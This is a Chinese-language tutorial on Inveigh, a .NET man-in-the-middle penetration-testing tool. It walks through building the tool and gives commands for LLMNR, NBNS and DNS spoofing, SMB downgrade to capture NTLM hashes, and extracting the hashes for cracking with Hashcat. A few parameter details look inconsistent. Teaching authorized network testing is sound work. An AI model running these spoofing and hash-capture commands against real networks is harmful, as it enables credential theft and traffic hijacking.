3个步骤掌握Inveigh:.NET中间人攻击测试工具全攻略
2026-04-23 11:19:24作者:史锋燃Gardner
Inveigh是由Kevin Robertson开发的跨平台.NET工具,专为渗透测试场景设计,专注于IPv4/IPv6环境下的中间人(MitM)攻击实施与网络协议分析。该工具通过模拟多种网络服务监听流量,帮助安全测试人员发现网络中存在的认证漏洞、协议缺陷及配置弱点,广泛应用于红队评估与内网安全审计场景。
一、核心功能解析:模块化协议监听架构
1.1 多层次监听系统
Inveigh采用插件化监听架构,通过独立实现各类网络协议的监听模块,构建完整的中间人攻击能力矩阵:
📌 核心监听组件
- LLMNR/MDNS监听:响应链路本地多播名称解析请求,捕获Windows主机的NetBIOS名称查询
- DNS/NBNS欺骗:伪造DNS响应重定向流量,支持IPv4/IPv6双栈环境
- SMB协议拦截:实现SMBv1/SMBv2协议交互,捕获NTLMv1/NTLMv2认证哈希
- HTTP/HTTPS代理:建立透明代理服务,解析HTTP请求中的认证信息
1.2 数据包处理流水线
工具通过PacketReader与PacketWriter类实现高效的网络数据包解析与构造,关键处理流程包括:
- 原始流量捕获(
Sniffer.cs) - 协议类型识别(
DNSChecker.cs/DHCPv6Checker.cs等) - 数据包结构解析(
DNSHeader.cs/SMB2Header.cs等) - 响应构造与发送(
UDPSocket.cs/TCPSocket.cs)
二、快速上手流程:从部署到基础监听
2.1 环境准备与部署
# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/in/Inveigh
cd Inveigh
# 构建项目(需.NET SDK支持)
dotnet build Inveigh.sln -c Release
操作提示
• 推荐使用.NET 5.0+ SDK以确保兼容性
• Linux环境需安装libpcap-dev依赖:sudo apt-get install libpcap-dev
2.2 基础监听启动
# 基础被动监听模式
.\Inveigh.ps1 -Mode Passive -Interface eth0
# 启用多协议联合监听
.\Inveigh.ps1 -LLMNR Y -NBTNS Y -DNS Y -SMB Y -OutputFile logs/mitm_capture.log
操作提示
• 使用-Help参数查看完整参数列表
• 非管理员权限下可能无法监听低于1024的端口
• 输出日志默认保存在当前目录的Inveigh.log
2.3 攻击流量验证
- 在目标网络中触发名称解析请求(如访问不存在的UNC路径)
- 观察控制台输出的认证尝试记录
- 检查日志文件中的NTLM哈希与请求详情
三、深度配置指南:从基础到高级应用
3.1 核心参数对比配置
| 配置类型 | 推荐配置(基础用户) | 高级配置(专业测试) |
|---|---|---|
| 监听模式 | -Mode Passive(被动捕获) |
-Mode Active -Redirect Y(主动重定向) |
| 协议选择 | -LLMNR Y -NBTNS Y |
-LLMNR Y -NBTNS Y -DNS Y -DHCPv6 Y |
| 输出控制 | -Output Console |
-Output File -OutputFile ./results/$(Get-Date -Format yyyyMMdd).log |
| 证书设置 | 默认自签名 | -SSL Y -CertPath ./certs/mitm.pfx -CertPass "P@ssw0rd" |
3.2 高级场景配置示例
场景1:NTLM哈希捕获优化
# 启用SMBv1强制降级与NTLMv2捕获
.\Inveigh.ps1 -SMB Y -SMBv1 Y -NTLMv2 Y -Challenge 1122334455667788
场景2:DNS劫持与重定向
# 针对特定域名的DNS欺骗配置
.\Inveigh.ps1 -DNS Y -DNSQuery "*.internal.corp" -DNSResponse "192.168.1.100"
操作提示
• 自定义Challenge值需符合16字节(32字符)十六进制格式
• DNS响应IP需与监听接口在同一网段
• 生产环境测试需获得明确授权,遵守《网络安全法》相关规定
3.3 结果分析与利用
捕获的NTLM哈希可通过Output.cs模块生成标准化日志,结合Hashcat等工具进行破解:
# 提取日志中的哈希值
Select-String -Path Inveigh.log -Pattern "NTLMv2 Hash" | ForEach-Object { $_.ToString() -split " : " | Select-Object -Last 1 }
通过掌握Inveigh的协议监听机制与灵活配置选项,渗透测试人员可构建全面的中间人攻击测试环境,有效评估企业网络的身份认证体系安全性。建议结合Wireshark等流量分析工具进行深度协议交互分析,提升对复杂网络环境的攻击面识别能力。
登录后查看全文
热门项目推荐
相关项目推荐
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0191
cann-learning-hubCANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。Jupyter Notebook0117
Step-3.7-FlashStep-3.7-Flash是一个拥有 1980 亿参数的稀疏混合专家(MoE)视觉语言模型,由 1960 亿参数的语言主干网络和 18 亿参数的视觉编码器组合而成,具备原生图像理解能力。Python00
JoyAI-EchoJoyAI-Echo,这是一个独立的、仅用于推理的版本,旨在实现分钟级多镜头音视频生成。它采用了经过蒸馏的DMD生成器、配对的跨模态记忆以及故事级别的一致性。其性能的核心在于,一个跨模态视听记忆库能够在长达五分钟的视频中保持角色外观和语音音色的一致性。同时,一个训练后处理流程将基于记忆的强化学习与分布匹配蒸馏相结合,实现了7.5倍的速度提升,显著增强了视觉质量和对齐效果。00
omega-aiOmega-AI:基于java打造的深度学习框架,帮助你快速搭建神经网络,实现模型推理与训练,引擎支持自动求导,多线程与GPU运算,GPU支持CUDA,CUDNN。Java04
llm-universe本项目是一个面向小白开发者的大模型应用开发教程,在线阅读地址:https://datawhalechina.github.io/llm-universe/Jupyter Notebook08
项目优选
收起
暂无描述
Dockerfile
763
4.97 K
本项目是CANN提供的transformer类大模型算子库,实现网络在NPU上加速计算。
C++
856
1.92 K
本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。
C++
677
1.33 K
Ascend Extension for PyTorch
Python
719
875
deepin linux kernel
C
32
16
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
455
437
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
1.07 K
1.09 K
华为昇腾面向大规模分布式训练的多模态大模型套件,支撑多模态生成、多模态理解。
Python
150
252
CANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。
Jupyter Notebook
297
116
昇腾LLM分布式训练框架
Python
178
220